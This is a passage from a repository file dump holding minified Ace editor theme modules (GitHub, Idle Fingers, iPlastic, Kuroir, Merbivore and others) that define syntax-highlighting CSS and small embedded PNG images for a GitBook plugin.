    "content": "define(\"ace/theme/github\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-github\",t.cssText='.ace-github .ace_gutter {background: #e8e8e8;color: #AAA;}.ace-github  {background: #fff;color: #000;}.ace-github .ace_keyword {font-weight: bold;}.ace-github .ace_string {color: #D14;}.ace-github .ace_variable.ace_class {color: teal;}.ace-github .ace_constant.ace_numeric {color: #099;}.ace-github .ace_constant.ace_buildin {color: #0086B3;}.ace-github .ace_support.ace_function {color: #0086B3;}.ace-github .ace_comment {color: #998;font-style: italic;}.ace-github .ace_variable.ace_language  {color: #0086B3;}.ace-github .ace_paren {font-weight: bold;}.ace-github .ace_boolean {font-weight: bold;}.ace-github .ace_string.ace_regexp {color: #009926;font-weight: normal;}.ace-github .ace_variable.ace_instance {color: teal;}.ace-github .ace_constant.ace_language {font-weight: bold;}.ace-github .ace_cursor {color: black;}.ace-github.ace_focus .ace_marker-layer .ace_active-line {background: rgb(255, 255, 204);}.ace-github .ace_marker-layer .ace_active-line {background: rgb(245, 245, 245);}.ace-github .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-github.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px white;}.ace-github.ace_nobold .ace_line > span {font-weight: normal !important;}.ace-github .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-github .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-github .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-github .ace_gutter-active-line {background-color : rgba(0, 0, 0, 0.07);}.ace-github .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-github .ace_invisible {color: #BFBFBF}.ace-github .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-github .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-idle_fingers.js",
    "content": "define(\"ace/theme/idle_fingers\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-idle-fingers\",t.cssText=\".ace-idle-fingers .ace_gutter {background: #3b3b3b;color: rgb(153,153,153)}.ace-idle-fingers .ace_print-margin {width: 1px;background: #3b3b3b}.ace-idle-fingers {background-color: #323232;color: #FFFFFF}.ace-idle-fingers .ace_cursor {color: #91FF00}.ace-idle-fingers .ace_marker-layer .ace_selection {background: rgba(90, 100, 126, 0.88)}.ace-idle-fingers.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #323232;}.ace-idle-fingers .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-idle-fingers .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #404040}.ace-idle-fingers .ace_marker-layer .ace_active-line {background: #353637}.ace-idle-fingers .ace_gutter-active-line {background-color: #353637}.ace-idle-fingers .ace_marker-layer .ace_selected-word {border: 1px solid rgba(90, 100, 126, 0.88)}.ace-idle-fingers .ace_invisible {color: #404040}.ace-idle-fingers .ace_keyword,.ace-idle-fingers .ace_meta {color: #CC7833}.ace-idle-fingers .ace_constant,.ace-idle-fingers .ace_constant.ace_character,.ace-idle-fingers .ace_constant.ace_character.ace_escape,.ace-idle-fingers .ace_constant.ace_other,.ace-idle-fingers .ace_support.ace_constant {color: #6C99BB}.ace-idle-fingers .ace_invalid {color: #FFFFFF;background-color: #FF0000}.ace-idle-fingers .ace_fold {background-color: #CC7833;border-color: #FFFFFF}.ace-idle-fingers .ace_support.ace_function {color: #B83426}.ace-idle-fingers .ace_variable.ace_parameter {font-style: italic}.ace-idle-fingers .ace_string {color: #A5C261}.ace-idle-fingers .ace_string.ace_regexp {color: #CCCC33}.ace-idle-fingers .ace_comment {font-style: italic;color: #BC9458}.ace-idle-fingers .ace_meta.ace_tag {color: #FFE5BB}.ace-idle-fingers .ace_entity.ace_name {color: #FFC66D}.ace-idle-fingers .ace_collab.ace_user1 {color: #323232;background-color: #FFF980}.ace-idle-fingers .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWMwMjLyZYiPj/8PAAreAwAI1+g0AAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-iplastic.js",
    "content": "define(\"ace/theme/iplastic\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-iplastic\",t.cssText=\".ace-iplastic .ace_gutter {background: #dddddd;color: #666666}.ace-iplastic .ace_print-margin {width: 1px;background: #bbbbbb}.ace-iplastic {background-color: #eeeeee;color: #333333}.ace-iplastic .ace_cursor {color: #333}.ace-iplastic .ace_marker-layer .ace_selection {background: #BAD6FD;}.ace-iplastic.ace_multiselect .ace_selection.ace_start {border-radius: 4px}.ace-iplastic .ace_marker-layer .ace_step {background: #444444}.ace-iplastic .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #49483E;background: #FFF799}.ace-iplastic .ace_marker-layer .ace_active-line {background: #e5e5e5}.ace-iplastic .ace_gutter-active-line {background-color: #eeeeee}.ace-iplastic .ace_marker-layer .ace_selected-word {border: 1px solid #555555;border-radius:4px}.ace-iplastic .ace_invisible {color: #999999}.ace-iplastic .ace_entity.ace_name.ace_tag,.ace-iplastic .ace_keyword,.ace-iplastic .ace_meta.ace_tag,.ace-iplastic .ace_storage {color: #0000FF}.ace-iplastic .ace_punctuation,.ace-iplastic .ace_punctuation.ace_tag {color: #000}.ace-iplastic .ace_constant {color: #333333;font-weight: 700}.ace-iplastic .ace_constant.ace_character,.ace-iplastic .ace_constant.ace_language,.ace-iplastic .ace_constant.ace_numeric,.ace-iplastic .ace_constant.ace_other {color: #0066FF;font-weight: 700}.ace-iplastic .ace_constant.ace_numeric{font-weight: 100}.ace-iplastic .ace_invalid {color: #F8F8F0;background-color: #F92672}.ace-iplastic .ace_invalid.ace_deprecated {color: #F8F8F0;background-color: #AE81FF}.ace-iplastic .ace_support.ace_constant,.ace-iplastic .ace_support.ace_function {color: #333333;font-weight: 700}.ace-iplastic .ace_fold {background-color: #464646;border-color: #F8F8F2}.ace-iplastic .ace_storage.ace_type,.ace-iplastic .ace_support.ace_class,.ace-iplastic .ace_support.ace_type {color: #3333fc;font-weight: 700}.ace-iplastic .ace_entity.ace_name.ace_function,.ace-iplastic .ace_entity.ace_other,.ace-iplastic .ace_entity.ace_other.ace_attribute-name,.ace-iplastic .ace_variable {color: #3366cc;font-style: italic}.ace-iplastic .ace_variable.ace_parameter {font-style: italic;color: #2469E0}.ace-iplastic .ace_string {color: #a55f03}.ace-iplastic .ace_comment {color: #777777;font-style: italic}.ace-iplastic .ace_fold-widget {background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42mWKsQ0AMAzC8ixLlrzQjzmBiEjp0A6WwBCSPgKAXoLkqSot7nN3yMwR7pZ32NzpKkVoDBUxKAAAAABJRU5ErkJggg==);}.ace-iplastic .ace_indent-guide {background: url(data:image/png;base64,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) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-katzenmilch.js",
    "content": "define(\"ace/theme/katzenmilch\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-katzenmilch\",t.cssText=\".ace-katzenmilch .ace_gutter,.ace-katzenmilch .ace_gutter {background: #e8e8e8;color: #333}.ace-katzenmilch .ace_print-margin {width: 1px;background: #e8e8e8}.ace-katzenmilch {background-color: #f3f2f3;color: rgba(15, 0, 9, 1.0)}.ace-katzenmilch .ace_cursor {border-left: 2px solid #100011}.ace-katzenmilch .ace_overwrite-cursors .ace_cursor {border-left: 0px;border-bottom: 1px solid #100011}.ace-katzenmilch .ace_marker-layer .ace_selection {background: rgba(100, 5, 208, 0.27)}.ace-katzenmilch.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #f3f2f3;}.ace-katzenmilch .ace_marker-layer .ace_step {background: rgb(198, 219, 174)}.ace-katzenmilch .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(0, 0, 0, 0.33);}.ace-katzenmilch .ace_marker-layer .ace_active-line {background: rgb(232, 242, 254)}.ace-katzenmilch .ace_gutter-active-line {background-color: rgb(232, 242, 254)}.ace-katzenmilch .ace_marker-layer .ace_selected-word {border: 1px solid rgba(100, 5, 208, 0.27)}.ace-katzenmilch .ace_invisible {color: #BFBFBF}.ace-katzenmilch .ace_fold {background-color: rgba(2, 95, 73, 0.97);border-color: rgba(15, 0, 9, 1.0)}.ace-katzenmilch .ace_keyword {color: #674Aa8;rbackground-color: rgba(163, 170, 216, 0.055)}.ace-katzenmilch .ace_constant.ace_language {color: #7D7e52;rbackground-color: rgba(189, 190, 130, 0.059)}.ace-katzenmilch .ace_constant.ace_numeric {color: rgba(79, 130, 123, 0.93);rbackground-color: rgba(119, 194, 187, 0.059)}.ace-katzenmilch .ace_constant.ace_character,.ace-katzenmilch .ace_constant.ace_other {color: rgba(2, 95, 105, 1.0);rbackground-color: rgba(127, 34, 153, 0.063)}.ace-katzenmilch .ace_support.ace_function {color: #9D7e62;rbackground-color: rgba(189, 190, 130, 0.039)}.ace-katzenmilch .ace_support.ace_class {color: rgba(239, 106, 167, 1.0);rbackground-color: rgba(239, 106, 167, 0.063)}.ace-katzenmilch .ace_storage {color: rgba(123, 92, 191, 1.0);rbackground-color: rgba(139, 93, 223, 0.051)}.ace-katzenmilch .ace_invalid {color: #DFDFD5;rbackground-color: #CC1B27}.ace-katzenmilch .ace_string {color: #5a5f9b;rbackground-color: rgba(170, 175, 219, 0.035)}.ace-katzenmilch .ace_comment {font-style: italic;color: rgba(64, 79, 80, 0.67);rbackground-color: rgba(95, 15, 255, 0.0078)}.ace-katzenmilch .ace_entity.ace_name.ace_function,.ace-katzenmilch .ace_variable {color: rgba(2, 95, 73, 0.97);rbackground-color: rgba(34, 255, 73, 0.12)}.ace-katzenmilch .ace_variable.ace_language {color: #316fcf;rbackground-color: rgba(58, 175, 255, 0.039)}.ace-katzenmilch .ace_variable.ace_parameter {font-style: italic;color: rgba(51, 150, 159, 0.87);rbackground-color: rgba(5, 214, 249, 0.043)}.ace-katzenmilch .ace_entity.ace_other.ace_attribute-name {color: rgba(73, 70, 194, 0.93);rbackground-color: rgba(73, 134, 194, 0.035)}.ace-katzenmilch .ace_entity.ace_name.ace_tag {color: #3976a2;rbackground-color: rgba(73, 166, 210, 0.039)}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-kr_theme.js",
    "content": "define(\"ace/theme/kr_theme\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-kr-theme\",t.cssText=\".ace-kr-theme .ace_gutter {background: #1c1917;color: #FCFFE0}.ace-kr-theme .ace_print-margin {width: 1px;background: #1c1917}.ace-kr-theme {background-color: #0B0A09;color: #FCFFE0}.ace-kr-theme .ace_cursor {color: #FF9900}.ace-kr-theme .ace_marker-layer .ace_selection {background: rgba(170, 0, 255, 0.45)}.ace-kr-theme.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #0B0A09;}.ace-kr-theme .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-kr-theme .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(255, 177, 111, 0.32)}.ace-kr-theme .ace_marker-layer .ace_active-line {background: #38403D}.ace-kr-theme .ace_gutter-active-line {background-color : #38403D}.ace-kr-theme .ace_marker-layer .ace_selected-word {border: 1px solid rgba(170, 0, 255, 0.45)}.ace-kr-theme .ace_invisible {color: rgba(255, 177, 111, 0.32)}.ace-kr-theme .ace_keyword,.ace-kr-theme .ace_meta {color: #949C8B}.ace-kr-theme .ace_constant,.ace-kr-theme .ace_constant.ace_character,.ace-kr-theme .ace_constant.ace_character.ace_escape,.ace-kr-theme .ace_constant.ace_other {color: rgba(210, 117, 24, 0.76)}.ace-kr-theme .ace_invalid {color: #F8F8F8;background-color: #A41300}.ace-kr-theme .ace_support {color: #9FC28A}.ace-kr-theme .ace_support.ace_constant {color: #C27E66}.ace-kr-theme .ace_fold {background-color: #949C8B;border-color: #FCFFE0}.ace-kr-theme .ace_support.ace_function {color: #85873A}.ace-kr-theme .ace_storage {color: #FFEE80}.ace-kr-theme .ace_string {color: rgba(164, 161, 181, 0.8)}.ace-kr-theme .ace_string.ace_regexp {color: rgba(125, 255, 192, 0.65)}.ace-kr-theme .ace_comment {font-style: italic;color: #706D5B}.ace-kr-theme .ace_variable {color: #D1A796}.ace-kr-theme .ace_list,.ace-kr-theme .ace_markup.ace_list {background-color: #0F0040}.ace-kr-theme .ace_variable.ace_language {color: #FF80E1}.ace-kr-theme .ace_meta.ace_tag {color: #BABD9C}.ace-kr-theme .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYFBXV/8PAAJoAXX4kT2EAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-kuroir.js",
    "content": "define(\"ace/theme/kuroir\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-kuroir\",t.cssText=\".ace-kuroir .ace_gutter {background: #e8e8e8;color: #333;}.ace-kuroir .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-kuroir {background-color: #E8E9E8;color: #363636;}.ace-kuroir .ace_cursor {color: #202020;}.ace-kuroir .ace_marker-layer .ace_selection {background: rgba(245, 170, 0, 0.57);}.ace-kuroir.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #E8E9E8;}.ace-kuroir .ace_marker-layer .ace_step {background: rgb(198, 219, 174);}.ace-kuroir .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(0, 0, 0, 0.29);}.ace-kuroir .ace_marker-layer .ace_active-line {background: rgba(203, 220, 47, 0.22);}.ace-kuroir .ace_gutter-active-line {background-color: rgba(203, 220, 47, 0.22);}.ace-kuroir .ace_marker-layer .ace_selected-word {border: 1px solid rgba(245, 170, 0, 0.57);}.ace-kuroir .ace_invisible {color: #BFBFBF}.ace-kuroir .ace_fold {border-color: #363636;}.ace-kuroir .ace_constant{color:#CD6839;}.ace-kuroir .ace_constant.ace_numeric{color:#9A5925;}.ace-kuroir .ace_support{color:#104E8B;}.ace-kuroir .ace_support.ace_function{color:#005273;}.ace-kuroir .ace_support.ace_constant{color:#CF6A4C;}.ace-kuroir .ace_storage{color:#A52A2A;}.ace-kuroir .ace_invalid.ace_illegal{color:#FD1224;background-color:rgba(255, 6, 0, 0.15);}.ace-kuroir .ace_invalid.ace_deprecated{text-decoration:underline;font-style:italic;color:#FD1732;background-color:#E8E9E8;}.ace-kuroir .ace_string{color:#639300;}.ace-kuroir .ace_string.ace_regexp{color:#417E00;background-color:#C9D4BE;}.ace-kuroir .ace_comment{color:rgba(148, 148, 148, 0.91);background-color:rgba(220, 220, 220, 0.56);}.ace-kuroir .ace_variable{color:#009ACD;}.ace-kuroir .ace_meta.ace_tag{color:#005273;}.ace-kuroir .ace_markup.ace_heading{color:#B8012D;background-color:rgba(191, 97, 51, 0.051);}.ace-kuroir .ace_markup.ace_list{color:#8F5B26;}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-merbivore.js",
    "content": "define(\"ace/theme/merbivore\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-merbivore\",t.cssText=\".ace-merbivore .ace_gutter {background: #202020;color: #E6E1DC}.ace-merbivore .ace_print-margin {width: 1px;background: #555651}.ace-merbivore {background-color: #161616;color: #E6E1DC}.ace-merbivore .ace_cursor {color: #FFFFFF}.ace-merbivore .ace_marker-layer .ace_selection {background: #454545}.ace-merbivore.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #161616;}.ace-merbivore .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-merbivore .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #404040}.ace-merbivore .ace_marker-layer .ace_active-line {background: #333435}.ace-merbivore .ace_gutter-active-line {background-color: #333435}.ace-merbivore .ace_marker-layer .ace_selected-word {border: 1px solid #454545}.ace-merbivore .ace_invisible {color: #404040}.ace-merbivore .ace_entity.ace_name.ace_tag,.ace-merbivore .ace_keyword,.ace-merbivore .ace_meta,.ace-merbivore .ace_meta.ace_tag,.ace-merbivore .ace_storage,.ace-merbivore .ace_support.ace_function {color: #FC6F09}.ace-merbivore .ace_constant,.ace-merbivore .ace_constant.ace_character,.ace-merbivore .ace_constant.ace_character.ace_escape,.ace-merbivore .ace_constant.ace_other,.ace-merbivore .ace_support.ace_type {color: #1EDAFB}.ace-merbivore .ace_constant.ace_character.ace_escape {color: #519F50}.ace-merbivore .ace_constant.ace_language {color: #FDC251}.ace-merbivore .ace_constant.ace_library,.ace-merbivore .ace_string,.ace-merbivore .ace_support.ace_constant {color: #8DFF0A}.ace-merbivore .ace_constant.ace_numeric {color: #58C554}.ace-merbivore .ace_invalid {color: #FFFFFF;background-color: #990000}.ace-merbivore .ace_fold {background-color: #FC6F09;border-color: #E6E1DC}.ace-merbivore .ace_comment {font-style: italic;color: #AD2EA4}.ace-merbivore .ace_entity.ace_other.ace_attribute-name {color: #FFFF89}.ace-merbivore .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWMQFxf3ZXB1df0PAAdsAmERTkEHAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-merbivore_soft.js",
    "content": "define(\"ace/theme/merbivore_soft\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-merbivore-soft\",t.cssText=\".ace-merbivore-soft .ace_gutter {background: #262424;color: #E6E1DC}.ace-merbivore-soft .ace_print-margin {width: 1px;background: #262424}.ace-merbivore-soft {background-color: #1C1C1C;color: #E6E1DC}.ace-merbivore-soft .ace_cursor {color: #FFFFFF}.ace-merbivore-soft .ace_marker-layer .ace_selection {background: #494949}.ace-merbivore-soft.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #1C1C1C;}.ace-merbivore-soft .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-merbivore-soft .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #404040}.ace-merbivore-soft .ace_marker-layer .ace_active-line {background: #333435}.ace-merbivore-soft .ace_gutter-active-line {background-color: #333435}.ace-merbivore-soft .ace_marker-layer .ace_selected-word {border: 1px solid #494949}.ace-merbivore-soft .ace_invisible {color: #404040}.ace-merbivore-soft .ace_entity.ace_name.ace_tag,.ace-merbivore-soft .ace_keyword,.ace-merbivore-soft .ace_meta,.ace-merbivore-soft .ace_meta.ace_tag,.ace-merbivore-soft .ace_storage {color: #FC803A}.ace-merbivore-soft .ace_constant,.ace-merbivore-soft .ace_constant.ace_character,.ace-merbivore-soft .ace_constant.ace_character.ace_escape,.ace-merbivore-soft .ace_constant.ace_other,.ace-merbivore-soft .ace_support.ace_type {color: #68C1D8}.ace-merbivore-soft .ace_constant.ace_character.ace_escape {color: #B3E5B4}.ace-merbivore-soft .ace_constant.ace_language {color: #E1C582}.ace-merbivore-soft .ace_constant.ace_library,.ace-merbivore-soft .ace_string,.ace-merbivore-soft .ace_support.ace_constant {color: #8EC65F}.ace-merbivore-soft .ace_constant.ace_numeric {color: #7FC578}.ace-merbivore-soft .ace_invalid,.ace-merbivore-soft .ace_invalid.ace_deprecated {color: #FFFFFF;background-color: #FE3838}.ace-merbivore-soft .ace_fold {background-color: #FC803A;border-color: #E6E1DC}.ace-merbivore-soft .ace_comment,.ace-merbivore-soft .ace_meta {font-style: italic;color: #AC4BB8}.ace-merbivore-soft .ace_entity.ace_other.ace_attribute-name {color: #EAF1A3}.ace-merbivore-soft .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWOQkpLyZfD09PwPAAfYAnaStpHRAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-mono_industrial.js",
    "content": "define(\"ace/theme/mono_industrial\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-mono-industrial\",t.cssText=\".ace-mono-industrial .ace_gutter {background: #1d2521;color: #C5C9C9}.ace-mono-industrial .ace_print-margin {width: 1px;background: #555651}.ace-mono-industrial {background-color: #222C28;color: #FFFFFF}.ace-mono-industrial .ace_cursor {color: #FFFFFF}.ace-mono-industrial .ace_marker-layer .ace_selection {background: rgba(145, 153, 148, 0.40)}.ace-mono-industrial.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #222C28;}.ace-mono-industrial .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-mono-industrial .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(102, 108, 104, 0.50)}.ace-mono-industrial .ace_marker-layer .ace_active-line {background: rgba(12, 13, 12, 0.25)}.ace-mono-industrial .ace_gutter-active-line {background-color: rgba(12, 13, 12, 0.25)}.ace-mono-industrial .ace_marker-layer 